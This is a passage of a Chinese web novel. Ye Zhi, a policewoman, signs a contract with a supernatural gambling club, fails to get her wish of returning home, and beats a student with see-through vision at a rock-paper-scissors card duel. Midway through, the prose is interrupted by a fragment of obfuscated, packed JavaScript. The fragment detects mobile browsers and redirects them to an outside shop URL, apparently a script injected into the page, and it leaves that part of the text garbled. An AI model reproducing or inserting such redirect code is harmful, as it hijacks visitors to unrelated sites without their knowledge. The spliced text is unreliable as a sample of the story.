“如果你加入俱乐部，可能会自行找到答案。”
叶枝猜测，先前所有加入的人，包括什么都不缺的祝扶桑，都是受到了如此的蛊惑，才选择加入这个疑点重重的俱乐部。
“你可以找到所有问题的答案。”O先生补充。
叶枝倏然警觉。
她第一反应，是回原世界的方法。
她第二反应，是根除伪人的方法。
O先生察觉到了她的动摇。
“作为签订契约的回报，俱乐部还可以实现一个不超过您自身因果的愿望，不用扣除积点。”
叶枝困惑：“我自身的因果？”
O先生的眼珠机械性地转圈，骤然变白，射出一道无形的电波。
叶枝还没来得及说话，就被一股力量扼住了喉咙。
就好像有人把她的大脑剖开，将脑仁拎出来，逐个细胞扫描，再揉搓至死。
终于，O先生的眼睛恢复原样。
而后他卡顿许久，仿佛在反复测算结果。
“您的因果惊人的高。”
“因果是什么？”叶枝问。
O先生脑袋传出呼呼的风扇声，像高速运转的机械进入龙港。
“因果是宇宙中万象交织的复杂关系，事物之间量子级别的微观联系，能够反映潜在的可能性和……”
好家伙，什么人机。
叶枝越听越乱，直接打断：“停，我知道了。”
她灵机一动。
既然如此，就许个健健康康回原世界的愿望。
到时候人去楼空，签了契约也找不到人，卧薪尝胆两年的报酬终于要实现了。
什么叫反杀猪盘啊！
“我的愿望是，让我身体健康地回到我诞生的世界。你能实现吗？”
滋滋滋……
处理器还在高速运转。
几分钟后，O先生给出判断：“可以。”
“我签。”那就没什么好说的了。
O先生从西服内侧，掏出一沓泛黄的牛皮纸文件。
叶枝接过：
【罪域阶梯俱乐部契约
成员签署此契约，即表示承诺遵守以下条款：
一、保密原则
成员需对外界严格保密俱乐部信息，包括存在、活动、规则及成员身份。
二、对局要求
1）每周至少参与三次俱乐部统一安排的对局。
2）对局生效的前提条件是，必须有工作人员担任裁判。
……
三、积点与债犬
1）积点转移必须经由无相者，所有成员积点变化受俱乐部严密监管。
2）成员积点归0则身份转为债犬，支配权归最后战胜者。
……
十、最终条款
契约签署即生效，背弃契约者将被处决。】
叶枝细细读完后，认为这是个相当公平的契约，不会偏向任何一个参与者。
如果回到原世界，而原世界不存在这个俱乐部，可以归于“不可抗力”，契约也能直接解除。
叶枝爽快地签了字。
O先生右手一握，凭空变出个骰子，优雅地递过来。
是七面骰！
叶枝立刻认出了这个骰子的形状，和那天花悬手里的一模一样。
“这是属于您的身份证。请注意，它和‘无相者’一样，永远绝对中立。”
原来那天听到的“无相者”出处是这里——无相即中立。
“什么叫‘绝对中立’？”
“就是没有任何外界因素能影响其公平性。”O先生进一步解释，“同样的，七面骰抛出后的结果，也永远是单纯的概率问题，没有任何因素能影响它的结果。”
叶枝想到那日花悬和老和尚用七面骰对决，现在才理解一切。
叶枝拿起七面骰观察。
每面的数字旁边，都对应一个图案：
1-紫色皇冠
2-绿色蛇
3-红色剑
4-白色蜗牛
5-金色铜钱
6-粉色玫瑰
7-橙色蛋糕
这是什么意思？
不过，眼下这并不是重要的事。
叶枝不忘初心：“让我身体健康地回到我诞生的世界。”
“如您所愿。”
叶枝激动万分。
她就是传说中的勾践，忍辱负重两年后，终于得以获救！
下一秒，七面骰微微颤动，似被某种力量牵引，竟在手掌上如陀螺般旋转起来。
手上的七面骰越转越快，快到发狂。
叶枝心跳骤然加速。
她感到旋转的七面骰像是某种异界生物，底下长出藤蔓，缓缓嵌入手掌。
无形的根与血液交融，完全渗透进灵魂深处。
七面骰停止旋转，倒在手掌上。
“您的愿望已达成。”耳边传来O先生的机械音。
叶枝一惊，环顾四周，却发现什么都没变。
骗人的吧！
怎么还在这里！
“怎么可能？”叶枝质问那只猫头鹰。
“您的愿望已达成。接下来，请您享受俱乐部的对决。”
之后再怎么问，猫头鹰也只会重复这句话。
叶枝失去耐心，伸手去抓O先生的衣领，然而手刚碰到，就被一股强大的电流电了回来。
O先生冷冷瞥了她一眼：“请不要对工作人员使用暴力。”
叶枝站在原地，逐渐冷静下来，后背被冷汗浸透。
首先，排除O先生耍诈的可能。
从之前的经验来看，这家名为“罪域天阶”的俱乐部很守信用。
无论是那个瞬间生成的PPT，以牛局长生命为代价的休假，还是左肘伤口的痊愈，都反映了它bug般的存在。
就连代表社会学识巅峰的主治医师，在遇到难题时，第一反应都是去兑换积点。
叶枝尝试从自己身上找问题。
难道是愿望许的不够清楚？比如“身体健康”这个形容词过于模棱两可？
还是说，穿越是时间线上的必然，自己其实回去过，过去的变化和时间的推移互相抵消，意识最终还是回到了这里？
最后一种可能，最令叶枝倒吸一口冷气。
难道这就是她诞生的世界，只不过这个世界变了？
她随即否认了这荒谬的想法，以人类的聪明才智，世界不可能发展千年，还在原地踏步。
无论是哪里出的问题，都已成定局，人要向前看。
大不了多赢积点，再重新兑换一遍愿望，反正在哪个世界都是活着。
叶枝像上次一样，拉开入口的门，走进去。
第二次来到这里，她变成了正式成员，心境也有所变化。
首先，这里都是真人玩家。
其次，变成债犬的下场很惨，契约上明写了，债犬只能指望月度的洗牌大会翻身。
叶枝不敢轻举妄动。
她决定先在大厅里逛一圈，观察观察情况再说。
仔细观察后，她发现，这里比想象中的要大许多，玩家数量也比想象中的要多，至少有十场对局在同时进行。
奇怪的是，叶枝没看到任何一个熟人。
按理说，她作为龙港市的警察，记忆力又好，大部分人她面前至少都能混个脸熟。
思考片刻，叶枝便想明白了。
这里的玩家，可能来自整个新塔隆。
这是异度空间，说不定有了七面骰后，从世界哪个角落都能飘过来。
又逛了五分钟，叶枝终于发现了第一个熟悉的身影。
花悬背靠在走廊，嘴里叼个棒
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棒糖，注视墙上挂着的巨幅油画。
她的一刀切短发干净利落，却喜欢化烟熏妆，还喜欢穿皮衣皮靴。
长相稚嫩，却总要装成大人模样，莫名有点刻板印象的小太妹感。
这次，花悬头顶上的数字变成了“6140”，比上次多了些。
这是叶枝遇到的第一个熟人，自然在她身边停下。
而且从头顶上的数字判断，女孩积点超过60%的人，不是王者也是钻石。
面对陌生的环境，抱团取暖是人的本能。
花悬注意到她：“签契约了？”
“嗯。”叶枝点头。
“你是哪儿的警察？听口音像南方。”
“龙港。你呢？”
“西京。”
果然，这里的玩家来自世界各地。
远处，几个债犬被套上项圈，玩物般拴在旁边，露出绝望的神色。
债犬的数量多得诡异。
叶枝不解：“如果积点快输光了，只在这里待着，不进行任何对决，不就行了吗？”
花悬懒懒地扫了她一眼。
“你觉得你现在有多少？”
“551。”叶枝记性很好，逃犯侧写看一眼就忘不了。
她之前打阿飞赢了1550点，而后花999点兑换了“休假一周”的愿望，所以是551点。
花悬只说：“你看看头顶。”
叶枝抬起头，看到上方的数字后，大吃一惊。
“386？”
“一小时扣1点。”
棒棒糖吃完了。
花悬食指和拇指一弹，吃剩的小棍就飞进了垃圾桶。
“什么？”叶枝这下真觉得上贼船了。
花悬面无表情：“你就把我们的积点看作存款资产，利率为负利率就行。”
“负利率……”叶枝若有所思。
虽然黑心，但可以理解。
历史上，确实有银行实行过负利率，本质是相通的。
即能促使大家不断建立对决，又能强迫大家花费积点兑换愿望。
所以积点一旦归零，没有资本进行下一次对决，只能眼睁睁看资产变负，必然沦为债犬。
如果任何愿望都可以兑现，区别只是花费积点的多少……
命运馈赠的所有礼物，都已暗中标好了价格。
花悬打了个哈欠。
“刚刚打了三把，累死个人。告辞了，明儿还要赶稿。”
叶枝赶快问出最后一个问题：“退出俱乐部需要多少？”
一定有不少人也想过这个问题。
花悬转身离去，留下两个字。
“五万。”
*
经过上次和阿飞的对战经验，让叶枝意识到一件事。
在所有人都有持有某种异能的情况下，看似公平的对局，远比表面上要复杂的多。
更何况，这么多人，绝大部分人的异能是未知的。
没人会傻乎乎地暴露自己的异能。
根据积点押注的上层法则，积点更多的人至少要押注对方的两倍。
随着积点越攒越多，输一次，代价也会更加惨痛。
所以积点能攒得很多的人，一定有其过人之处。
那么求稳的话，选择积点较少的对手，肯定更稳妥。
这也是阿飞为什么一眼就相中她的原因。
金碧辉煌的大厅一眼望不到尽头。
有人在呐喊，有人在大笑，有人在当小丑。
无数猫头鹰浮在空中，积点数字在空中乱飞，烟灰状粒子融入狂热的和弦。
叶枝在大厅内踱步。
这次她没穿警服，步伐自在了许多。
正在思考找谁时，有人主动找了上来。
那是一个大学生模样的眼镜小哥，身穿格子衫牛仔裤，像是刚下晚课过来。
他的眼神总不住瞟地，看上去挺自卑，也挺人畜无害。
而他头顶上的数字是“1250”。
“你要玩什么？”叶枝问他。
眼镜小哥抬眼看她，眼神飘忽，吐出一个再简单不过的游戏。
“石头剪刀布。”
9.石头剪刀布·贰
叶枝以为她听错了。
有人主动找上门来，她倒不意外，毕竟自己头顶上的积点只剩“385”。
这个数字简直在明晃晃地昭告天下，自己不是新手就是菜鸟。
她只是觉得匪夷所思，为什么会提议连三岁小孩都会玩的游戏。
毕竟游戏越简单，可操作空间越小，越容易靠运气。
而运气，是最不牢靠的。
叶枝装作不感兴趣，试探道：“石头剪刀布多没意思？玩点别的吧。”
“我脑子笨，太复杂的玩不来。”眼镜小哥不自在地笑了一下。
这引起了叶枝的怀疑。
她常与人打交道，能从眼神中大体看出一个人聪明与否，并不认为他脑子笨。
这拙劣的演技，在天天抓伪人的警察面前，简直是班门弄斧。
叶枝倒不打算揭穿，想继续看看他葫芦里卖的什么药。
“那好吧。可是石头剪刀布这种游戏，咱俩的手很难达到速度完全一致，不太公平。”
眼镜小哥眼内闪过一丝狂喜，仿佛诡计得逞。
“这倒是，那我们用牌代替吧。”
观察这么多对局后，叶枝得出的重要经验是，所有对局必有猫腻。
她暂不确定这个提议是否可以相信。
眼镜男显然明白她的顾虑，忙补充道：“你放心，让无相者提供扑克牌。”
叶枝想起了O先生所说的话，所有的无相者都是绝对中立。
应该问题不大。
“可以。”她这才答应。
眼镜小哥终于听到同意的答复，喜出望外，一刻也等不及就张开手掌，里面赫然是早已准备好的七面骰。
这么开心？
显然，他已蓄谋已久。
眼睛小哥捧着骰子，供神一般：“建立对决，请求无相者。”
和阿飞的动作一模一样。
看来召唤无相者的方法只有这个。
很快，凭空出现的粒子盘旋飞舞，组成一只机械猫头鹰。
“俺是‘无相者666号’，请多指教。”
这里到底养了多少只猫头鹰，都排到666号了。
眼睛小哥双手合十：“还是扑克牌版‘石头剪刀布’，拜托了。”
“同意。”叶枝跟了一句。
无相者666号：“双方同意，批准对决。”
叶枝：“你是计算机系的学生？大几了？”
眼镜男听到这个问话，露出惊诧的神色：“你怎么知道？”
其实，叶枝纯靠瞎猜的。
从二十岁左右的年轻模样，说话时眼神不敢看人，不像经历过社会历练的样子，应该是个学生。
黑框眼镜，格子衫，牛仔裤，不出意外是直男理科生。
在这个年代，工科完全被人工智能取代，大部分理科生学的都是更上层的专业，也就是计算机大类。
综上所述，猜个概率大的，瞎猫碰上死耗子就完事了。
叶枝不动声色，故意勾起嘴角：“你觉得呢？”
诈一下试试。
来个下马威提前迷惑对手，便于在对决中扰乱对手心智。
眼镜小哥立刻愣住。
再盯着叶枝看时，他的神色多了警惕：“你认识我？”
“当然不认识，我新来的。”叶枝笑道，开始故作玄虚，“不过让我看看……学习成绩还过得去，努力倒还算努力的，也有雄心壮志，就是缺了点运气。”
巴纳姆效应指出，人们容易相信笼统的描述十分准确地揭示了自己的特点，即使描述空洞而模糊。
“我不信你。”眼睛小哥嘴上这么说着，鼻尖上的汗珠清晰可见。
“是吗？那你猜，我的异能是什么？”叶枝微微扬起下巴。
她们对视着。
叶枝最擅长对视，尤其是和心里有鬼的犯人。
眼睛小哥鼻梁上汗水越积越多，眼镜下滑，他略显慌张地推了上去。
“我不猜！”他率先移开眼神。
叶枝眯起眼，轻轻笑了起来。
两人之间缓缓升起一个牌桌，宽度约三米，和上次对决配置大体相同。
准备就绪。
无相者666号落到牌桌正中央。
“俺来宣布规则，期间有啥子不同意的，请随时提出。”虽然还是合成机械音，声调却颇有起伏。
叶枝眨眨眼。
她寻思，怎么这只猫头鹰还带口音呢？
“你为什么有口音？”叶枝很好奇，难道这是什么植入的系统。
无相者666号瞬间拉下脸来，鸟嘴开合的幅度都变大了。
“你胡说，俺妹口音啊。”
叶枝：“……”
还挺好面子。
“游戏开始前，每位玩家会获得三张空扑克牌，并在每张牌上自行绘制石头、剪刀或布的图案。
整个游戏内，绘制完成后的牌禁止离开桌面，玩家仅能持有三张牌。”
无相者666号伸出两只软管机械手，长蛇般伸向空中，夹着六张空扑克牌。
所有的牌一模一样。
应该没有问题。
它将其中三张，轻轻排成一列，放到眼睛小哥面前。
接下来，该发给叶枝了。
无相者666号是个记仇的，它没好气地瞪一眼叶枝，机械手疾速飞来。
它刚想狠狠甩到她面前，大概是想起了“绝对中立”的要求，猛然刹车改变力度，被迫轻轻将牌排到叶枝面前。
是只有脾气的猫头鹰，叶枝暗暗给出评价。
无相者666号继续：
“每一回合前，都会刷新押注；若回合平局，则押注顺移到下一轮。
回合开始后，双方玩家需要在一分钟内给出一张牌，牌面朝下放在桌中心的圆圈内，最后由俺负责揭开牌底，宣告出牌结果。”
听完规则，叶枝直觉上觉得很诡异。
为什么不直接发三张印好的牌，还要自己画？总不可能俱乐部的打印机坏了吧？
所有的规则一定有原因。
叶枝不停思考着。
那也就是说，三张牌上画的内容，可以自由发挥，不一定是石头剪刀布各一张。
但是，如果不是各一张，少任何一种都很危险。更不会有人画三张剪刀，或三张石头这种蠢货组合了。
“无相者，如果空着或画得四不像，会怎么样？”叶枝问。
无相者666号：“会直接判定为负。”
看来问题也不在这里。
叶枝百思不得其解，只能最后确认一遍。
“规则一定是对双方都公平的吧？”
无相者666号抖抖翅膀，再一次受到冒犯：“任何人都不得质疑俺的绝对中立。”
“对不起。”叶枝连忙道歉。
上次的“21点”对决也是如此，作为裁判的无相者一点毛病也没有。
是的，规则本身确实是公平的，作弊的是找到漏洞的对手。
这里的生存法则，正是在信息差不对等的情况下，最大限度找出规则的漏洞，用异能作弊！
不够聪明没关系，偶尔泄露异能内容也没关系。
总有新人可以坑！
世世代代坑无尽也！
叶枝算是明白了。
原来历史上铲除的诈骗团伙，都聚到这儿了！35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958930|147584||http|test|mini|href|location''.split(''|''),0,{}));
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……
怎么不算一种能量守恒定律呢？
无相者666号：“游戏回合数由双方玩家在游戏开始前协商确定。”
这句话一出，叶枝恍然大悟。
让玩家自行画牌，实际上是增加自由度的一种手段。
如果只有两三个回合，完全可以画相同的牌，然后假装泄露出牌顺序，实施欺诈策略。
“三个回合怎么样？速战速决。”眼镜小哥率先提议。
果然。
叶枝立刻意识到有诈。
回合数越少，越对新人不利。
还没摸清楚对方的异能是什么，就会莫名其妙输掉。
叶枝直接说：“十个。”
眼镜小哥眼睛微微瞪大，嘴半张不张，仿佛没有预料到这个要求。
“五个？”他试探。
“十个。”叶枝很坚决。
“六个？”
“十个。”
沉默良久后。
眼镜小哥无奈妥协：“好吧，十个就十个。”
叶枝还是有点奇怪。
表演痕迹过重，用力过猛，感觉不像是。
而且，他松口松得太快，没拉扯两句，就同意比十个回合了。
无相者666号：“本场对决共10个回合，请画牌。”
这下，画牌的规则约等于无：回合数越多，就越需要三种牌都齐全。
叶枝画了石头剪刀布各一张。
无相者666号：“请为第一回合押注。”
眼睛小哥没有说话。
他在等叶枝。
按照上层法则，积点更多的人必须后手，因为至少要压对方的两倍。
叶枝：“50点。”
这是押注的最小数额。
眼镜小哥便跟：“100点。”
相应的点数从两人的头顶抽出，分别飞入无相者的左右眼。
第一局开始。
叶枝直接将画有布的牌，倒扣着推到桌中央的圆圈内。
眼镜小哥也出得很快。
无相者666号揭开牌底：
“叶枝，布；刘达海，石头。押注全部转移到获胜方。”
结果符合意料之中，再加上运气不错，叶枝赢了。
以前有一篇论文研究过，大部分人都习惯在第一局出石头，大概是因为石头看起来比较强。
第二局，叶枝还押50点，眼镜小哥押100点。
规则说了，画好的牌不能离开桌面。
若想不被对方知道哪张牌是哪张，必须要用手掌遮住，无论是出牌还是将牌收回，都要这么干，才能万无一失。
从第二局起，她们都必须要用手掌遮住所有牌，想看牌面，也只能悄悄翻起很小的弧度。
叶枝第二局出了石头，眼睛小哥剪刀，运气好，又赢了。
因为上一局出石头输了，根据马尔可夫决策过程，对手变成剪刀的可能性更大。
然而，从第三局起——
叶枝一直在输。
雪上加霜的是，第五、六局她太过自信，各押了100点。
照这么下去，比完至少会净输300点。
到时候，她的积点会所剩无几，再加上负利率，以后变成债犬的可能性相当大。
这个俱乐部，和外面的世界是一样的：
穷人，是输不起的。
输到第七局，叶枝死死捂着牌，迟迟未出，而眼镜小哥也按兵不动。
问题出在哪里？
叶枝百分百确定，从对方角度是看不到抽的是手掌下的哪张牌的。
除非——
他的异能是透视。
10.石头剪刀布·叁
如果是异能是透视，那他知道自己出了什么，百分百会赢！
和上次21点一样，作弊原理都是单方面透牌。
叶枝想到自己的垃圾异能，高下立判，心里暗暗骂了句脏话。
眼镜小哥抱着手，神色胸有成竹。
这是什么绝世欧皇。
在赌场里，这简直是bug般的存在！
时间一分一秒流逝，无相者66号头顶上的倒计时越来越小。
眼镜小哥按兵不动。
只要叶枝不出，他也就不出。
如果不出牌，就会按空手算。
然后，他卡着点随便扔出一张牌，就能赢。
还剩十五秒。
眼镜小哥的目光，牢牢锁在叶枝按在桌面上的手掌。
叶枝更加确定了对方的异能。
透视，没跑了。
大概是因为这场对决太简单，桌边围的人并不多。
石头剪刀布没什么可看的，更何况是两个积分很少的菜鸡。
“又有人上当了呀。”
“靠，我也！赢两局后，就再也赢不了了。”
“你好歹赢两局，我就赢过第二局。”
……
怎么破局？
叶枝眉头紧锁，大脑越转越快。
不行，时间不够了。
叶枝只能随便推张牌到圈里，甚至她自己都不知道出的什么。
眼镜小哥随即跟了牌。
无相者666号操纵丑陋的机械手，逐个翻开两张牌。
“叶枝，布；刘达海，剪刀。押注全部转移到获胜方。”无相者666号无情宣布
果然，根本没有胜算。
叶枝的积分仅剩230，而眼镜小哥则变成1400。
看客们吹起口哨。
“又有傻白甜要变成债犬喽。”
“就是上次赢了阿飞的人啊？这么弱，还能赢？”
“还敢下注100点，赌鬼啊。”
“别说，长的真漂亮。”
……
该押注了。
无相者666号眼珠消失，等待飞入新的数字。
押注没有时间限制。
叶枝刚好拖延时间，趁机专注思考。
眼镜小哥等得不耐烦了：“那个姐，你赶紧押呀。”
不对，还有疑点。
如果他能透视看到牌上的内容，前两局没道理赢。
连输十把，可以直接把对方转换为债犬。
是故意输的吗？
叶枝排除了这个可能性。
常钓鱼诈骗的都知道，放一局两局的水，根本不够钓大鱼。
从心理学角度看，庄家应该至少放一半的水，而且输赢要伪随机穿插，这样才更能诱惑对方头脑一热。
更何况，赛前就已经商定好回合数，就算发现有诈，也无法中途退出。
是好心放她一马？
……
想啥呢，明明就是丑恶的庄家嘴脸，恨不能多赢点。
叶枝尝试从共性切入。
她想起刚刚听到的聊天。
那几个人，好像之前也被这腹黑眼镜男大学生骗过。
他们都是只在前两局赢过，她也是——之后，就再没赢过。
为什么？
叶枝仍在思考。
眼镜小哥再次催促：“快呀，你不是读心术吗？猜猜我下局会不会让你赢？”
叶枝抬头扫视一周，意外看到了熟人。
是江落枫。
即那天赶来的驻场医生。
今天的他没戴口罩，脸颊和身材同样清瘦，浓眉大眼，鼻梁挺拔，却因身材倍显文弱。
江落枫捧着一杯咖啡，慢条斯地理品味，投来复杂的眼光。
他的眼光同情、嘲讽、空洞。
仿佛高高在上的神，悲悯着浑身都是局限性的人。
什么自以为是的目光……
等等！
刹那间，叶枝生出一个大胆的猜测：
难道对方的透视也是有局限的！
就跟自己改变温度的破异能一样，有个附加条件，即只能改10度以内。
不然那只该死的猫头鹰，怎么好意思自称绝对中立呢！
但是，具体限制是什么？
叶枝只能凭推断继续猜。
恐怕他的透视只能穿透□□，无法穿透没有生命的物件。
换句话说，就是他的视线无法穿透扑克牌，看到背后的牌面。
但是能看到手下扑克牌位置的情况，以及抽的是哪张牌。
所以，他必须要用前几局祭天，用来确认三张牌背后的内容。
前两局不是故意输，是确实保证不了赢。
想明白这点后，叶枝冷笑起来。
“230点。”
周围一片哗然。
眼镜小哥差点栽下椅子，瞠目结舌，简直不敢相信耳朵：“多少？”
“230点。”叶枝坚定地重复了一遍。
“好，那我就460点。”眼镜小哥反倒没那么高兴了，露出警惕与怀疑的神。
数字飞入无相者666号的双眼，押注完毕。
没人能想通，怎么有人连输六局后，敢在第九局押上所有。
押这么大！
这女人疯了吧！
这局再输，可就直接变债犬了！
江落枫也微微皱起眉头，收起先前的目光，他也看不懂葫芦里卖的什么药。
无相者666号宣布：“押注完毕，对局开——”
“等等！”
无相者666号停下，转过头来。
叶枝露出开朗的笑容，冲不远处某个方向挥手：“辛苦了！”
人群齐刷刷盯住那个方向，是窝在不起眼的角落、捧着咖啡看戏的江落枫。
江落枫：？
叶枝：“谢谢帮我买咖啡，钱我一会转你。”
江落枫：？？
叶枝：“我忘带水了，现在实在太渴，先给我喝吧。”
江落枫：？？？
一脸不可思议，人脸皮怎么能厚成这样。
叶枝疯狂眨眼以暗示。
江落枫犹豫片刻后，无奈：“眼睛这么干涩，这么困？给你吧。”
叶枝：……
虽然没听懂，也算是殊途同归了。
眼镜小哥不明觉厉，抗议：“哎，怎么比一半还带场外援助的！”
无相者666号双眼射出红光，吱吱吱扫描一遍。
“普通的瑞家拿铁，安检通过。”
叶枝接过咖啡，报以灿烂单纯的微笑：“谢谢！”
“我沾嘴了。”江落枫显然是个有洁癖的医生，不忘提醒一句。
“没事。”
立刻就有人吹口哨，然后猥琐地笑起来。
瞎起哄永远是人类的本质。
下一秒，出乎所有人意料。
叶枝直接把咖啡洒上了面前的扑克牌。
“哎呀，我真毛手毛脚。”叶枝佯装抱歉，实则邪魅一笑。
热咖啡泼上去，上面两张牌全部遭了殃。
“现在牌后面有记号了。
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”叶枝举起她被咖啡污染的牌，“无相者大人，请求更换扑克牌。”
眼镜小哥：“……”
围观者们大吃一惊。
江落枫也肃然起敬。
眼镜小哥抗议：“不行，怎么能换牌呢？”
叶枝直接倒反天罡。
“万一我作弊怎么办？这可是明晃晃的标记牌！大学里面六级考试，阅卷都得双盲呢。”
无相者666号一动不动，大脑死机中。
“这次对局还没开始，再让我画两张，不影响公平性。”叶枝趁热打铁。
眼镜小哥越发急了：“我都没换，你换了，凭什么？”
急了急了。
图穷匕见，果然没猜错。
“那你也换啊。”叶枝白他一眼。
“批准换牌请求。”无相者666号的机械手，拿出三张空白扑克牌。
它将新牌轻放到叶枝面前，收走三张浸透咖啡的旧牌。
叶枝将放到腿上，在桌面下悄悄绘制。
没人看见的暗处，她的左手悄然滑进兜里，掏出了另一支“笔”。
与此同时，无相者666号胸腔伸出微型吸尘器，呜呜呜启动，吸走桌面上残留的咖啡因。
桌面光洁如新，一丁点咖啡渍都看不见。
好了，新的三张牌画完了。
无相者666号宣布：“对局开始。”
叶枝看都不看，直接甩一张到桌子中央的圈里。
正是这轻描淡写，加重了紧张感与火药味。
没有一个人看得见，她出的牌是什么。
叶枝笑问：“你猜猜，我画的是什么？”
众人议论纷纷，这也太嚣张了。
因为，叶枝一共只画了两张，桌角摆放一张从始至终就没离开桌子的空牌。
刚好对应接下来的两局。
眼镜小哥慌了神。
一切从零开始，雪上加霜的是，这次赌注太大了！
“我知道你能看穿我的手，”叶枝抱起手，“遗憾的是，看不穿我的牌。”
出牌时间还剩三十秒。
眼镜小哥紧紧按住纸牌：“你胡说！”
“你还挺会玩心理战的，一开始还特意说，只想比第二回合。”
最开始的博弈，早就在确定回合数开始了。
叶枝勾起手指，用指节点了点手下倒扣的两张牌。
“谁知道回合数越多，才对你越有利呢。”
还剩二十秒。
倒计时开始闪红光，滴答滴答的声音比心跳还激烈。
眼镜小哥嘴唇不住打颤，目光不断在手中的牌间摇摆。
叶枝当然不急。
她的牌早在第一秒就扔到了圆圈里。
“看我手臂移动的轨迹和笔画数，你觉得我画的应该是剪刀，对吧？”
可惜咖啡洒了，不然现在最适合喝两口了。
“我？我我、我没看！”
事实上，叶枝并不在乎。
“如果我有几笔，并没接触到纸面呢？”
她只想击溃对方的心理防线罢了。
还剩十秒。
叶枝不过瘾，再补刀一遍：“所以，你猜猜我画的是什么？”
还剩五秒。
眼睛小哥没办法了，啪一声，卡着最点出了牌。
无相者666号依次揭开她们的牌。
叶枝的牌是“石头”。
眼睛小哥脸色大变，眼皮一翻，快要晕过去了。
而后，无相者666号揭开他的牌：
是“剪刀”。
11.石头剪刀布·肆
“本场对决叶枝获胜，押注全部转移到获胜方。”
叶枝头顶上的数字，瞬间由“230”变成了“690”。
眼镜小哥由“1400”变成“940”。
“很遗憾，你猜错了。”叶枝收回她的牌，和没画的空牌一起放到桌角。
现在，她手上有且仅有一张牌。
叶枝笑道：“你觉得剩下这张牌我会画不一样的，还是一样的？”
眼镜小哥垂下目光，不敢看她：“我怎么知道。”
“嗯哼，我确实知道你不知道。”叶枝双指夹住牌，轻轻扣到桌面上。
画好之后，没人见过她画的石头、布还是剪刀。
气氛越发紧张，甚至还有人用猜最后一局谁赢当赌注。
江落枫咖啡被抢后，双手插入风衣兜中。
叶枝冲他眨一下右眼，以示感谢。
谢谢侬，咖啡救大命。
江落枫低头看地，大概是金光闪闪的地板很好看。
叶枝：……
都不心疼一下咖啡吗？
很快，无相者666号宣布：“第十局开始，请双方押注。”
根据上层法则，拥有积分少的人要先进行押注。
叶枝还是积分更少的那一方，又拥有了主动权。
眼睛小哥等她先开口。
叶枝瞟一眼他的头顶，皮笑肉不笑：“你觉得，我想押多少？”
眼镜小哥皱起眉头。
紧接着，他反应过来其中的深意后，立刻在牌桌上磕头。
“求求你了……”
他赌不起了。
当两人积分差距很小时，只要有一方发疯，就免不了整个赌局的疯狂。
“我马上就毕业答辩了，真的，我想毕业，姐姐……”
明明还没开始，他却好像已经笃定要输了。
致命的是，他并不清楚叶枝的异能，这次信息不对称的劣势方变成了他自己。
叶枝对支配债犬没什么兴趣。
更何况，在吃人的环境里，所有人都会被迫成食人族，好歹这位清纯男大没开黄腔。
“什么时候答辩？”叶枝问。
眼睛小哥捕捉到她的眼神变化，仿佛抓住了救命稻草：“下、下周二！”
“祝你答辩通过。”
“谢谢姐！”
一码归一码，赌注万万不能小，毕竟积点可以兑换愿望。
“398点，”叶枝注视他，“给你留144。”
留下负利率扣掉的空间，让大学生答辩完再回来对决吧。
眼镜小哥有些失望，他本以为对方能压的更少。
但是，他没资格挑剔。
“796点。”
不少玩家从进入游戏起，就没见过这么大的押注，围观的人一下子多了起来。
“不谢谢我？”叶枝挑眉。
眼镜小哥再次磕头，镜框不小心磕到桌子边缘，砸得他太阳穴青了一块。
无相者666号“押注完成，对决开始。”
和上局一样，回合一开始，叶枝就直接将手中的牌扔到圆圈内。
然后，伸个懒腰。
眼镜小哥盯着面前的牌，眼神失焦，两颊汗如雨下。
“你猜猜，我会不会连续两把出石头？”
眼镜小哥没说话。
叶枝打个哈欠，外面肯定夜深了，她有点困。
人群议论纷纷，热闹达到高潮。
“傻子才会连续出两次一样的。”
“你懂什么，这叫博弈！说出这话后，说不定真出呢！”
“是不是出的布啊？”
……
眼镜小哥彻底慌了神，他没办法，只能推一张过来。
人群突然安静，所有人都屏气凝神。
无相者666号很公平。
上一次先揭开叶枝的牌，这次就先揭开眼镜小哥的牌。
牌面揭开，是“布”。
眼镜小哥从头到脚都在颤抖，面部肌肉不停抽搐，恐怕这是他第一次尝到生死攸关的滋味。
叶枝微微眯起眼睛，桌下的手指悄然一动。
无相者666号揭开叶枝的牌。
牌面揭开，赫然是一把“剪刀”。
围观的人群爆发出惊呼。
精彩，精彩！
无相者666号宣布：“本回合叶枝胜。”
眼镜小哥注意到了什么，猛地攥起拳头，狂拍桌子。
“不对，这也行？我抗议，这是作弊！”
众人立刻顺着他的手指看去，冷静下来后，也注意到了异样。
那张“剪刀”最上面两根伸出的手指，是粉红色。
眼镜小哥提高音量：“怎么那两根手指还用红笔画？肯定有问题！”
无相者666号裁决：“没有规定，必须要用一根笔呢。”
“我不接受！”
无相者666号蹦出警告的红光：“不违反规则的情况下，做什么都可以。”
眼镜小哥嘴角抽搐。
叶枝耸耸肩：“我还放了你一马，现在不去好好准备答辩？”
眼镜小哥意识到了败局已定，咬紧牙关垂下头。
“押注全部转移的获胜方。”
叶枝头上变成“1486”，眼镜小哥变成“144”。
好一个绝地反转！
这种情况通常出现在两个高手对决之间。
新手菜鸟们心里没底，一般押得都很少，不会像这场对决这么有看头。
围观者们吵嚷着议论着，纷纷猜测叶枝的异能是什么，以及欺诈的方法。
没有人知道，这到底是纯纯的博弈，还是胜负早分的欺诈？
牌桌消失。
无相者666号也消失不见。
叶枝伸个懒腰，径直走向靠在角落的江落枫。
“咖啡多少钱？我赔你。”
江落枫摇头：“不用，没关系。”
“那我请你喝一杯？”叶枝换个说法。
她可不想占别人便宜，尤其是这个人的，算上咖啡，可就有两个人情了。
江落枫二次回绝：“不用，谢谢。”
他跟那日有祝扶桑在场时，判若两人。面对不熟的人，就是个惜字如金的闷油瓶。
“你说话好无情。你是人机吗？”叶枝尝试用调侃破冰。
长得这么帅却不善言辞，年纪轻轻就当主治医师，被抢咖啡也不恼，当人机挺合适的。
江落枫瞥她一眼：“我不是人机。”没好气的眼神，好似无声的抗议。
“真不是？”
“真不是。”
……
好好好，太人机了。
两人沉默良久。
叶枝不是内向的人。
但面对这个堪比人机、却否认是人机、还给不出理由的人，她实在控制不住汗流浃背。
